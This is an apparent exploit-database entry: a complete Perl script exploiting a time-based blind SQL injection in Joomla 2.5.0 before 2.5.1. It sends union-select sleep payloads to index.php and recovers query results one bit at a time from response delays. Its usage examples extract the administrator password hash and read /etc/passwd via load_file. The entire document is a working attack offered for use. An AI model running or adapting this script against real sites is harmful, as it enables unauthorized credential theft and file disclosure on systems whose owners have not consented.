Joomla! 2.5.0 < 2.5.1 - Blind SQL Injection

#!/usr/bin/perl
# Thu Mar 15 22:55:32 CET 2012 A. Ramos <aramosf()unsec.net>
# www.securitybydefault.com
# Joomla <2.5.1 time based sql injection - vuln by Colin Wong
# 
# using sleep() and not benchmark(), change for < mysql 5.0.12 
#
# 1.- Database name: database()
# 2.- Users data table name: (change 'joomla' for database() result) 
# 	select table_name from information_schema.tables where table_schema = "joomla" and table_name like "%_users"
# 3.- Admin password: (change zzz_users from previus sql query result)
# 	select password from zzzz_users limit 1



use strict;
use LWP::UserAgent;
$| = 1;


my $url = $ARGV[0];
my $wtime = $ARGV[1];
my $sql = $ARGV[2];

unless ($ARGV[2]) {
 print "$0 <url> <wait time> <sql>\n";
 print "\texamples:\n";
 print "\t get admin password:\n";
 print "\t\t$0 http://host/joomla/ 3 'database()'\n";
 print "\t\t$0 http://host/joomla/ 3 'select table_name from information_schema.tables where table_schema=\"joomla\" and table_name like \"%25_users\"\'\n";
 print "\t\t$0 http://host/joomla/ 3 'select password from zzzz_users limit 1'\n";
 print "\t get file /etc/passwd\n";
 print "\t\t$0 http://host/joomla/ 3 'load_file(\"/etc/passwd\")'\n";
 exit 1;
}

my ($len,$sqldata);

my $ua = LWP::UserAgent->new;
$ua->timeout(60);
$ua->env_proxy;

my $stime = time();
my $res = $ua->get($url);
my $etime = time();
my $regrtt = $etime - $stime;
print "rtt: $regrtt secs\n";
print "vuln?: ";

my $sleep = $regrtt + $wtime;
$stime = time();
$res = $ua->get($url."/index.php/404' union select sleep($sleep) union select '1");
$etime = time();
my $rtt = $etime - $stime;
if ($rtt >= $regrtt + $wtime) { print "ok!\n"; } else { print "nope :(\n"; exit 1; }


my $lenoflen;
sub len {
 # length of length
 for (1..5) { 
	my $sql=$_[0];
	$stime = time();
	$res = $ua->get($url."/index.php/404' union select if(length(length(($sql)))=$_,sleep($wtime),null) union select '1");
	$etime = time();
	my $rtt = $etime - $stime;
	if ($rtt >= $regrtt + $wtime) {
		$lenoflen = $_;
		last;
	}
 }
 for (1..$lenoflen) {
  my $ll;
  $ll=$_;
  for (0..9) {
	my $sql=$_[0];
	$stime = time();
	$res = $ua->get($url."/index.php/404' union select if(mid(length(($sql)),$ll,1)=$_,sleep($wtime),null) union select '1");
	$etime = time();
	my $rtt = $etime - $stime;
	if ($rtt >= $regrtt + $wtime) {
		$len .= $_;
	}
  }
 }
	return $len;

}

sub data {
 my $sql = $_[0];
 my $len = $_[1];
 my ($bit, $str, @byte);
 my $high = 128;

 for (1..$len) {
 	my $c=8;
 	@byte="";
	my $a=$_;
	for ($bit=1;$bit<=$high;$bit*=2) {
		$stime = time();
		# select if((ord(mid((load_file("/etc/passwd")),1,1)) & 64)=0,sleep(2),null) union select '1';
		$res = $ua->get($url."/index.php/404' union select if((ord(mid(($sql),$a,1)) & $bit)=0,sleep($wtime),null) union select '1");
		$etime = time();
		my $rtt = $etime - $stime;
		if ($rtt >= $regrtt + $wtime) {
			$byte[$c]="0";
		} else { $byte[$c]="1"; }
	$c--;
	}
   	$str = join("",@byte);
	print pack("B*","$str");
  } 
}

$len = len($sql);
print "$sql length: $len\n";
print "$sql data:\n\n";
data($sql,$len);